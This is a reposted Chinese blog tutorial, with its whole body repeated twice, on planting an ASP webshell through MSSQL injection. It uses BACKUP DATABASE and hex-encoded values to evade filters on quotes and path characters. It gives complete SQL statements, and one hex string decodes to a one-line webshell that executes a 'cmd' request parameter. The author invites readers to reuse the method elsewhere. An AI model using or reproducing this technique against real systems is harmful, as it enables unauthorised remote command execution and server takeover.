Mssql Backup a Shell 突破特殊字元(轉)
Mssql Backup a Shell 突破特殊字元(轉)[@more@]1.插入資料
mssql注射使用Backup或makewebtask得到webshell,在寫入webshell程式碼時,如果過濾了一些特殊字元,如" '等。我們先mssql分析器裡“查詢”:
use pubs; <===使用資料哭pubs
create table cmd (str image); <===建立個表cmd 一個屬性為image的列
insert into cmd (str) values ('') <===插入資料為
select * from cmd; <===查詢輸出cmd裡的所有資料
查詢輸出str為:
0x3C256578656375746520726571756573742822636D642229262222253E
我們不管插入str什麼資料,在資料庫裡會自動轉為hex編碼,那麼我們可以直接在上面的sql語句裡insert into 的資料改為hex編碼:
use pubs
create table cmd (str image)
insert into cmd(str) values(0x3C256578656375746520726571756573742822636D642229262222253E)
select * from cmd
查詢輸出str為:
0x3C256578656375746520726571756573742822636D642229262222253E
為什麼2種方法得到的結果一樣,但是第2種方法裡插入的資料,就沒有' " &等等。
2.匯出路徑
常規的插入資料後匯出webshell的語句為:
backup database model to disk='g:wwwtestl.asp';
顯然匯出路徑裡包涵了' : 等,我們照樣可以使用hex編碼來突破:
declare @a sysname
select @a=0x673A5C777777746573745C6C2E617370 <====0x673A5C777777746573745C6C2E617370為g:wwwtestl.asp對應的hex程式碼
backup database pubs to disk=@a
執行查詢,可以成功匯出webshell。
3.小結
結合1,2我們可以得到完整的匯出webshell的sql語句格式為:
use model
create table cmd (str image)
insert into cmd(str) values(0x***********)
declare @a sysname select @a=0x********** backup database pubs to disk=@a;
其實使用hex等編碼的方法,在angel的文章〈饒過'(單引號)限制繼續射入〉裡提過,我只是照搬而已,你也可以搬到其他地方去拉:
mssql注射使用Backup或makewebtask得到webshell,在寫入webshell程式碼時,如果過濾了一些特殊字元,如" '等。我們先mssql分析器裡“查詢”:
use pubs; <===使用資料哭pubs
create table cmd (str image); <===建立個表cmd 一個屬性為image的列
insert into cmd (str) values ('') <===插入資料為
select * from cmd; <===查詢輸出cmd裡的所有資料
查詢輸出str為:
0x3C256578656375746520726571756573742822636D642229262222253E
我們不管插入str什麼資料,在資料庫裡會自動轉為hex編碼,那麼我們可以直接在上面的sql語句裡insert into 的資料改為hex編碼:
use pubs
create table cmd (str image)
insert into cmd(str) values(0x3C256578656375746520726571756573742822636D642229262222253E)
select * from cmd
查詢輸出str為:
0x3C256578656375746520726571756573742822636D642229262222253E
為什麼2種方法得到的結果一樣,但是第2種方法裡插入的資料,就沒有' " &等等。
2.匯出路徑
常規的插入資料後匯出webshell的語句為:
backup database model to disk='g:wwwtestl.asp';
顯然匯出路徑裡包涵了' : 等,我們照樣可以使用hex編碼來突破:
declare @a sysname
select @a=0x673A5C777777746573745C6C2E617370 <====0x673A5C777777746573745C6C2E617370為g:wwwtestl.asp對應的hex程式碼
backup database pubs to disk=@a
執行查詢,可以成功匯出webshell。
3.小結
結合1,2我們可以得到完整的匯出webshell的sql語句格式為:
use model
create table cmd (str image)
insert into cmd(str) values(0x***********)
declare @a sysname select @a=0x********** backup database pubs to disk=@a;
其實使用hex等編碼的方法,在angel的文章〈饒過'(單引號)限制繼續射入〉裡提過,我只是照搬而已,你也可以搬到其他地方去拉:
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10617731/viewspace-947493/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- Shell命令列中的特殊字元及其轉義(去除特殊含義)命令列字元
- Linux Shell程式設計(4)——shell特殊字元(上)Linux程式設計字元
- Linux Shell程式設計(5)——shell特殊字元(下)Linux程式設計字元
- Oracle 特殊字元轉義Oracle字元
- linux shell特殊字元詳解彙總Linux字元
- URL地址特殊字元轉換字元
- js html 特殊字元轉義JSHTML字元
- 特殊字元字元
- php過濾html標籤、特殊字元、轉義字元PHPHTML字元
- 關於sqlite的特殊字元轉義SQLite字元
- oracle登陸之轉義特殊字元Oracle字元
- HTML特殊字元HTML字元
- perl 特殊字元字元
- 轉義正規表示式中特殊字元字元
- 正規表示式中的特殊字元(轉)字元
- 檢查特殊字元的簡單VCL (轉)字元
- Bash的特殊字元字元
- 如何去除特殊字元字元
- Oracle 去特殊字元Oracle字元
- html的特殊字元HTML字元
- 【HTML】08特殊字元HTML字元
- HTML 基礎知識(特殊字元的轉義)HTML字元
- scheme跳轉特殊字元編碼問題Scheme字元
- 正規表示式需要轉義的特殊字元字元
- 網址URL中特殊字元轉義編碼字元
- Linux Shell 萬用字元、元字元、轉義符使用Linux字元
- perl替換特殊字元字元
- HTML特殊字元顯示HTML字元
- 特殊字元——反斜槓(\)字元
- mysql替換特殊字元MySql字元
- sql中使用特殊字元SQL字元
- HTML特殊字元大全HTML字元
- java 替換特殊字元Java字元
- 文字中的特殊字元字元
- Shell轉義字元與變數替換字元變數
- DBMS_BACKUP_RESTORE用於特殊情況下的恢復(轉)REST
- jquery過濾特殊字元及js字串轉為數字jQuery字元JS字串
- 處理檔名內含有特殊字元的檔案 (轉)字元